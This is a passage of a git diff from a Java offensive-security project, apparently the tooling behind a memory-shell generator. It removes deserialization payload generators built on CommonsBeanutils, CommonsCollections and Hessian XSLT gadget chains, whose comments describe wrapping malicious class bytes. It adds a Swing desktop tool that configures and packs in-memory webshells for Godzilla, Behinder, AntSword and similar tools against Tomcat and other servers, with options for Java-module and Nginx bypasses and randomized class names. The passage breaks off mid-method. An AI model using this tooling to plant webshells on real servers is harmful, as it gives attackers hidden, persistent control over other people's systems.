implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
useJUnitPlatform()
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Data
public class DeserializeConfig {
private PayloadType payloadType;
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -1,24 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.deserialize;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -1,28 +0,0 @@
package com.reajason.javaweb.deserialize;
/**
* @author ReaJason
* @since 2024/12/13
*/
public interface Payload {
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @return 序列化对象
*/
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/12/13
*/
@Getter
public enum PayloadType {
/**
* CB 链
*/
CommonsBeanutils16(new CommonsBeanutils16()),
CommonsBeanutils18(new CommonsBeanutils18()),
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
PayloadType(Payload payload) {
this.payload = payload;
}
public static PayloadType getPayloadType(String payloadType) {
for (PayloadType value : values()) {
if (value.name().equals(payloadType)) {
return value;
}
}
throw new IllegalArgumentException("unknown payload type: " + payloadType);
}
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id("java")
id("application")
}
group = "com.reajason.javaweb"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation(project(":generator"))
implementation(project(":packer"))
implementation("com.formdev:flatlaf:3.7")
implementation("com.miglayout:miglayout-swing:5.3")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
application {
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.desktop.memshell;
import com.formdev.flatlaf.FlatLightLaf;
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
import javax.swing.*;
public class MemShellDesktopApplication {
public static void main(String[] args) {
FlatLightLaf.setup();
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
}
}
@@ -0,0 +1,331 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import com.reajason.javaweb.memshell.ShellTool;
import java.util.*;
public class MemShellFormController {
private final ConfigCatalogService configCatalogService;
private final MemShellValidator validator;
private final ConfigCatalogService.ConfigCatalog catalog;
private final MemShellFormState state = new MemShellFormState();
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
this.configCatalogService = configCatalogService;
this.validator = validator;
this.catalog = configCatalogService.load();
reconcileAfterServerChange(true);
reconcilePackerSelection();
}
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
public MemShellFormState getState() { return state; }
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
public MemShellValidator getValidator() { return validator; }
public List<String> getServers() {
return new ArrayList<>(catalog.getServers().keySet());
}
public List<String> getServerVersionOptions() {
return configCatalogService.getServerVersionOptions(state.getServer());
}
public List<String> getShellTools() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
tools.add(ShellTool.Custom);
return new ArrayList<>(tools);
}
public List<String> getCustomShellTypes() {
List<String> values = catalog.getServers().get(state.getServer());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<String> getShellTypesForCurrentTool() {
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null) return Collections.emptyList();
if (ShellTool.Custom.equals(state.getShellTool())) {
return getCustomShellTypes();
}
List<String> values = toolMap.get(state.getShellTool());
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
}
public List<PackerEntryModel> getFilteredPackers() {
List<PackerEntryModel> out = new ArrayList<>();
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (p.isCategoryAnchor()) continue;
String name = p.getName();
String shellType = state.getShellType();
String server = state.getServer();
if (shellType != null && shellType.startsWith("Agent")) {
if (name.startsWith("Agent")) out.add(p);
continue;
}
if (server != null && server.startsWith("XXL")) {
if (!name.startsWith("Agent")) out.add(p);
continue;
}
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
out.add(p);
}
}
}
return out;
}
public PackerEntryModel getSelectedPackerEntry() {
String selected = state.getPackingMethod();
if (selected == null || selected.trim().isEmpty()) return null;
for (PackerCategoryModel c : catalog.getPackers()) {
for (PackerEntryModel p : c.getPackers()) {
if (selected.equals(p.getName())) return p;
}
}
return null;
}
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
PackerEntryModel p = getSelectedPackerEntry();
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
}
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
public List<String> getCommandImplementationClasses() { return catalog.getCommandImplementationClasses(); }
public void setServer(String server) {
state.setServer(server);
reconcileAfterServerChange(false);
reconcilePackerSelection();
}
public void setServerVersion(String version) { state.setServerVersion(version); }
public void setTargetJdkVersion(String value) {
state.setTargetJdkVersion(value);
try {
state.setByPassJavaModule(Integer.parseInt(value) >= 53);
} catch (Exception ignored) {
}
}
public void setShellTool(String tool) {
handleShellToolChange(tool);
reconcilePackerSelection();
}
public void setShellType(String shellType) {
state.setShellType(shellType);
state.setUrlPattern("");
reconcilePackerSelection();
}
public void setUrlPattern(String urlPattern) { state.setUrlPattern(urlPattern); }
public void setDebug(boolean value) { state.setDebug(value); }
public void setProbe(boolean value) { state.setProbe(value); }
public void setByPassJavaModule(boolean value) { state.setByPassJavaModule(value); }
public void setLambdaSuffix(boolean value) { state.setLambdaSuffix(value); }
public void setShrink(boolean value) { state.setShrink(value); }
public void setStaticInitialize(boolean value) { state.setStaticInitialize(value); }
public void setGodzillaPass(String v) { state.setGodzillaPass(v); }
public void setGodzillaKey(String v) { state.setGodzillaKey(v); }
public void setBehinderPass(String v) { state.setBehinderPass(v); }
public void setAntSwordPass(String v) { state.setAntSwordPass(v); }
public void setCommandParamName(String v) { state.setCommandParamName(v); }
public void setCommandTemplate(String v) { state.setCommandTemplate(v); }
public void setHeaderName(String v) { state.setHeaderName(v); }
public void setHeaderValue(String v) { state.setHeaderValue(v); }
public void setShellClassBase64(String v) { state.setShellClassBase64(v); }
public void setEncryptor(String v) { state.setEncryptor(v); }
public void setImplementationClass(String v) { state.setImplementationClass(v); }
public void setShellClassName(String v) {
state.setShellClassName(v);
autoDisableRandomIfManualNames();
}
public void setInjectorClassName(String v) {
state.setInjectorClassName(v);
autoDisableRandomIfManualNames();
}
public void setRandomClassName(boolean checked) {
state.setRandomClassName(checked);
if (checked) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
state.setShellClassName("");
state.setInjectorClassName("");
} else {
state.setShellClassName(state.getSavedShellClassName());
state.setInjectorClassName(state.getSavedInjectorClassName());
}
}
public void setCustomInputMode(String mode) { state.setCustomInputMode(mode); }
public void setPacker(String packerName) {
state.setPackingMethod(packerName);
resetPackerCustomConfigToDefaults();
}
public void setPackerCustomField(String key, Object value) {
if (value == null) {
state.getPackerCustomConfig().remove(key);
} else {
state.getPackerCustomConfig().put(key, value);
}
}
public Map<String, Object> getPackerCustomConfig() { return state.getPackerCustomConfig(); }
public boolean isUrlPatternVisible() {
return validator.needsUrlPattern(state.getShellType());
}
public boolean isCommandHeaderVisible() {
return "BypassNginxWebSocket".equals(state.getShellType()) || "BypassNginxJakartaWebSocket".equals(state.getShellType());
}
public boolean isProxyHeaderVisible() { return isCommandHeaderVisible(); }
public boolean isCommandParamVisible() {
return state.getShellType() == null || !state.getShellType().contains("WebSocket");
}
public MemShellValidator.Result validate() { return validator.validate(state); }
private void reconcileAfterServerChange(boolean initial) {
List<String> serverVersions = getServerVersionOptions();
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
if (toolMap == null || toolMap.isEmpty()) {
return;
}
List<String> toolKeys = new ArrayList<>(toolMap.keySet());
String currentTool = state.getShellTool();
String nextTool = toolMap.containsKey(currentTool) ? currentTool : toolKeys.get(0);
state.setShellTool(nextTool);
String currentTargetJdk = state.getTargetJdkVersion();
int currentJdk = parseInt(currentTargetJdk, 50);
boolean raise = ("SpringWebFlux".equals(state.getServer()) || "XXLJOB".equals(state.getServer())) && currentJdk <= 52;
state.setTargetJdkVersion(raise ? "52" : "50");
state.setByPassJavaModule(parseInt(state.getTargetJdkVersion(), 50) >= 53);
if (!initial) {
state.setUrlPattern("");
}
if (!serverVersions.contains(state.getServerVersion())) {
state.setServerVersion(serverVersions.get(0));
}
ensureShellTypeValidForCurrentTool();
}
private void ensureShellTypeValidForCurrentTool() {
List<String> shellTypes = getShellTypesForCurrentTool();
if (shellTypes.isEmpty()) {
state.setShellType("");
return;
}
if (!shellTypes.contains(state.getShellType())) {
state.setShellType(shellTypes.get(0));
}
}
private void handleShellToolChange(String value) {
if (value == null || value.trim().isEmpty()) return;
state.setUrlPattern("");
state.setShellClassName("");
state.setInjectorClassName("");
if (ShellTool.Command.equals(value)) {
state.setCommandParamName("");
state.setImplementationClass("");
state.setEncryptor("");
} else if (ShellTool.Godzilla.equals(value)) {
state.setGodzillaKey("");
state.setGodzillaPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Behinder.equals(value)) {
state.setBehinderPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.AntSword.equals(value)) {
state.setAntSwordPass("");
state.setHeaderName("User-Agent");
state.setHeaderValue("");
} else if (ShellTool.NeoreGeorg.equals(value)) {
state.setHeaderName("Referer");
state.setHeaderValue("");
} else if (ShellTool.Custom.equals(value)) {
state.setShellClassBase64("");
} else if (ShellTool.Proxy.equals(value)) {
state.setHeaderName("User-Agent");
state.setHeaderValue("");
}
state.setShellTool(value);
ensureShellTypeValidForCurrentTool();
}
private void reconcilePackerSelection() {
List<PackerEntryModel> filtered = getFilteredPackers();
if (filtered.isEmpty()) {
state.setPackingMethod("");
state.getPackerCustomConfig().clear();
return;
}
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
if (!exists) {
state.setPackingMethod(filtered.get(0).getName());
resetPackerCustomConfigToDefaults();
} else if (state.getPackerCustomConfig().isEmpty()) {
resetPackerCustomConfigToDefaults();
}
}
private void resetPackerCustomConfigToDefaults() {
state.getPackerCustomConfig().clear();
PackerEntryModel selected = getSelectedPackerEntry();
if (selected != null) {
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
}
}
private void autoDisableRandomIfManualNames() {
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
state.setRandomClassName(false);
}
if (!state.isRandomClassName()) {
state.setSavedShellClassName(state.getShellClassName());
state.setSavedInjectorClassName(state.getInjectorClassName());
}
}
private int parseInt(String v, int d) {
try {
return Integer.parseInt(v);
} catch (Exception e) {
return d;
}
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.desktop.memshell.model;
import com.reajason.javaweb.memshell.MemShellResult;
public class DesktopMemShellGenerateResult {
private final MemShellResult memShellResult;
private final String packMethod;
private final String packResult;
private final boolean jarOutput;
private final boolean agentOutput;
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
this.memShellResult = memShellResult;
this.packMethod = packMethod;
this.packResult = packResult;
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
}
public MemShellResult getMemShellResult() { return memShellResult; }
public String getPackMethod() { return packMethod; }
public String getPackResult() { return packResult; }
public boolean isJarOutput() { return jarOutput; }
public boolean isAgentOutput() { return agentOutput; }
}
@@ -0,0 +1,145 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellFormState {
private String server = "Tomcat";
private String serverVersion = "Unknown";
private String targetJdkVersion = "50";
private boolean debug;
private boolean byPassJavaModule;
private boolean probe;
private boolean lambdaSuffix;
private boolean shrink = true;
private boolean staticInitialize = true;
private String shellTool = "Godzilla";
private String shellType = "Listener";
private String urlPattern = "/*";
private String shellClassName = "";
private String injectorClassName = "";
private String godzillaPass = "";
private String godzillaKey = "";
private String behinderPass = "";
private String antSwordPass = "";
private String commandParamName = "";
private String commandTemplate = "";
private String headerName = "User-Agent";
private String headerValue = "";
private String shellClassBase64 = "";
private String encryptor = "";
private String implementationClass = "";
private String packingMethod = "";
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
private boolean randomClassName = true;
private String customInputMode = "base64";
private String savedShellClassName = "";
private String savedInjectorClassName = "";
public MemShellFormState copy() {
MemShellFormState c = new MemShellFormState();
c.server = server;
c.serverVersion = serverVersion;
c.targetJdkVersion = targetJdkVersion;
c.debug = debug;
c.byPassJavaModule = byPassJavaModule;
c.probe = probe;
c.lambdaSuffix = lambdaSuffix;
c.shrink = shrink;
c.staticInitialize = staticInitialize;
c.shellTool = shellTool;
c.shellType = shellType;
c.urlPattern = urlPattern;
c.shellClassName = shellClassName;
c.injectorClassName = injectorClassName;
c.godzillaPass = godzillaPass;
c.godzillaKey = godzillaKey;
c.behinderPass = behinderPass;
c.antSwordPass = antSwordPass;
c.commandParamName = commandParamName;
c.commandTemplate = commandTemplate;
c.headerName = headerName;
c.headerValue = headerValue;
c.shellClassBase64 = shellClassBase64;
c.encryptor = encryptor;
c.implementationClass = implementationClass;
c.packingMethod = packingMethod;
c.packerCustomConfig.putAll(packerCustomConfig);
c.randomClassName = randomClassName;
c.customInputMode = customInputMode;
c.savedShellClassName = savedShellClassName;
c.savedInjectorClassName = savedInjectorClassName;
return c;
}
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
public String getServer() { return server; }
public void setServer(String server) { this.server = server; }
public String getServerVersion() { return serverVersion; }
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
public String getTargetJdkVersion() { return targetJdkVersion; }
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
public boolean isDebug() { return debug; }
public void setDebug(boolean debug) { this.debug = debug; }
public boolean isByPassJavaModule() { return byPassJavaModule; }
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
public boolean isProbe() { return probe; }
public void setProbe(boolean probe) { this.probe = probe; }
public boolean isLambdaSuffix() { return lambdaSuffix; }
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
public boolean isShrink() { return shrink; }
public void setShrink(boolean shrink) { this.shrink = shrink; }
public boolean isStaticInitialize() { return staticInitialize; }
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
public String getShellTool() { return shellTool; }
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
public String getShellType() { return shellType; }
public void setShellType(String shellType) { this.shellType = shellType; }
public String getUrlPattern() { return urlPattern; }
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
public String getShellClassName() { return shellClassName; }
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
public String getInjectorClassName() { return injectorClassName; }
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
public String getGodzillaPass() { return godzillaPass; }
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
public String getGodzillaKey() { return godzillaKey; }
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
public String getBehinderPass() { return behinderPass; }
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
public String getAntSwordPass() { return antSwordPass; }
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
public String getCommandParamName() { return commandParamName; }
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
public String getCommandTemplate() { return commandTemplate; }
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
public String getHeaderName() { return headerName; }
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
public String getHeaderValue() { return headerValue; }
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
public String getShellClassBase64() { return shellClassBase64; }
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
public String getEncryptor() { return encryptor; }
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
public String getImplementationClass() { return implementationClass; }
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
public String getPackingMethod() { return packingMethod; }
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
public boolean isRandomClassName() { return randomClassName; }
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
public String getCustomInputMode() { return customInputMode; }
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
public String getSavedShellClassName() { return savedShellClassName; }
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
public String getSavedInjectorClassName() { return savedInjectorClassName; }
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
private static String nv(String v) { return v == null ? "" : v; }
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerCategoryModel {
private String name;
private final List<PackerEntryModel> packers = new ArrayList<>();
public PackerCategoryModel() {}
public PackerCategoryModel(String name) { this.name = name; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public List<PackerEntryModel> getPackers() { return packers; }
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackerEntryModel {
private String categoryName;
private String name;
private String outputKind;
private boolean categoryAnchor;
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
public String getCategoryName() { return categoryName; }
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getOutputKind() { return outputKind; }
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
public boolean isCategoryAnchor() { return categoryAnchor; }
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
public List<PackerSchemaFieldModel> getFields() { return fields; }
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
public String displayLabel() {
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.desktop.memshell.model;
import java.util.ArrayList;
import java.util.List;
public class PackerSchemaFieldModel {
public static class Option {
private String value;
private String label;
public Option() {}
public Option(String value, String label) {
this.value = value;
this.label = label;
}
public String getValue() { return value; }
public void setValue(String value) { this.value = value; }
public String getLabel() { return label; }
public void setLabel(String label) { this.label = label; }
}
private String key;
private String type;
private boolean required;
private Object defaultValue;
private String description;
private String descriptionI18nKey;
private final List<Option> options = new ArrayList<>();
public String getKey() { return key; }
public void setKey(String key) { this.key = key; }
public String getType() { return type; }
public void setType(String type) { this.type = type; }
public boolean isRequired() { return required; }
public void setRequired(boolean required) { this.required = required; }
public Object getDefaultValue() { return defaultValue; }
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
public String getDescription() { return description; }
public void setDescription(String description) { this.description = description; }
public String getDescriptionI18nKey() { return descriptionI18nKey; }
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
public List<Option> getOptions() { return options; }
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerOptionValue;
import com.reajason.javaweb.packer.spec.PackerSchema;
import java.util.*;
import java.util.stream.Collectors;
public class ConfigCatalogService {
public static class ConfigCatalog {
private final Map<String, List<String>> servers;
private final Map<String, Map<String, List<String>>> core;
private final List<PackerCategoryModel> packers;
private final List<String> commandEncryptors;
private final List<String> commandImplementationClasses;
public ConfigCatalog(Map<String, List<String>> servers,
Map<String, Map<String, List<String>>> core,
List<PackerCategoryModel> packers,
List<String> commandEncryptors,
List<String> commandImplementationClasses) {
this.servers = servers;
this.core = core;
this.packers = packers;
this.commandEncryptors = commandEncryptors;
this.commandImplementationClasses = commandImplementationClasses;
}
public Map<String, List<String>> getServers() { return servers; }
public Map<String, Map<String, List<String>>> getCore() { return core; }
public List<PackerCategoryModel> getPackers() { return packers; }
public List<String> getCommandEncryptors() { return commandEncryptors; }
public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
}
public ConfigCatalog load() {
Map<String, List<String>> servers = new LinkedHashMap<>();
Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
for (String serverName : ServerFactory.getSupportedServers()) {
AbstractServer server = ServerFactory.getServer(serverName);
if (server == null) {
continue;
}
List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
servers.put(serverName, shellTypes);
Map<String, List<String>> toolMap = new LinkedHashMap<>();
for (String tool : server.getSupportedShellTools()) {
List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
if (!types.isEmpty()) {
toolMap.put(tool, types);
}
}
core.put(serverName, toolMap);
}
List<PackerCategoryModel> packerModels = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
for (Packers packerEnum : entry.getValue()) {
PackerEntryModel p = new PackerEntryModel();
p.setCategoryName(entry.getKey());
p.setName(packerEnum.name());
p.setOutputKind(packerEnum.getOutputKind());
p.setCategoryAnchor(packerEnum.hasChildren());
PackerSchema schema = packerEnum.getSchema();
if (schema != null) {
p.getDefaultConfig().putAll(schema.getDefaultConfig());
for (PackerFieldSchema field : schema.getFields()) {
PackerSchemaFieldModel f = new PackerSchemaFieldModel();
f.setKey(field.getKey());
f.setType(field.getType() == null ? null : field.getType().name());
f.setRequired(field.isRequired());
f.setDefaultValue(field.getDefaultValue());
f.setDescription(field.getDescription());
f.setDescriptionI18nKey(field.getDescriptionI18nKey());
for (PackerOptionValue option : field.getOptions()) {
f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
}
p.getFields().add(f);
}
}
category.getPackers().add(p);
}
packerModels.add(category);
}
List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
}
public List<String> getServerVersionOptions(String server) {
if ("TongWeb".equals(server)) {
return Arrays.asList("6", "7", "8");
}
if ("Jetty".equals(server)) {
return Arrays.asList("6", "7+", "12");
}
return Collections.singletonList("Unknown");
}
public List<String> getTargetJdkOptions() {
return Arrays.asList("50", "52", "53", "55", "61", "65");
}
public String getTargetJdkLabel(String value) {
if ("50".equals(value)) return "Java6";
if ("52".equals(value)) return "Java8";
if ("53".equals(value)) return "Java9";
if ("55".equals(value)) return "Java11";
if ("61".equals(value)) return "Java17";
if ("65".equals(value)) return "Java21";
return value;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.desktop.memshell.service;
import net.bytebuddy.jar.asm.ClassReader;
import java.util.Base64;
public class CustomClassNameParser {
public String parseClassNameFromBase64(String classBase64) {
if (classBase64 == null || classBase64.trim().isEmpty()) {
throw new IllegalArgumentException("class base64 is empty");
}
byte[] bytes = Base64.getDecoder().decode(classBase64);
return parseClassName(bytes);
}
public String parseClassName(byte[] classBytes) {
if (classBytes == null || classBytes.length == 0) {
throw new IllegalArgumentException("class bytes are empty");
}
return new ClassReader(classBytes).getClassName().replace('/', '.');
}
}
@@ -0,0 +1,147 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
public class GenerationService {
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
ShellConfig shellConfig = ShellConfig.builder()
.server(s.getServer())
.serverVersion(s.getServerVersion())
.shellTool(s.getShellTool())
.shellType(s.getShellType())
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
.debug(s.isDebug())
.byPassJavaModule(s.isByPassJavaModule())
.probe(s.isProbe())
.shrink(s.isShrink())
.lambdaSuffix(s.isLambdaSuffix())
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
.injectorClassName(blankToNull(s.getInjectorClassName()))
.staticInitialize(s.isStaticInitialize())
.build();
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
String packMethod = s.getPackingMethod();
Packers packers = Packers.fromName(packMethod);
Packer<?> packer = packers.getInstance();
String packResult;
if (packer instanceof JarPacker) {
JarPacker jarPacker = (JarPacker) packer;
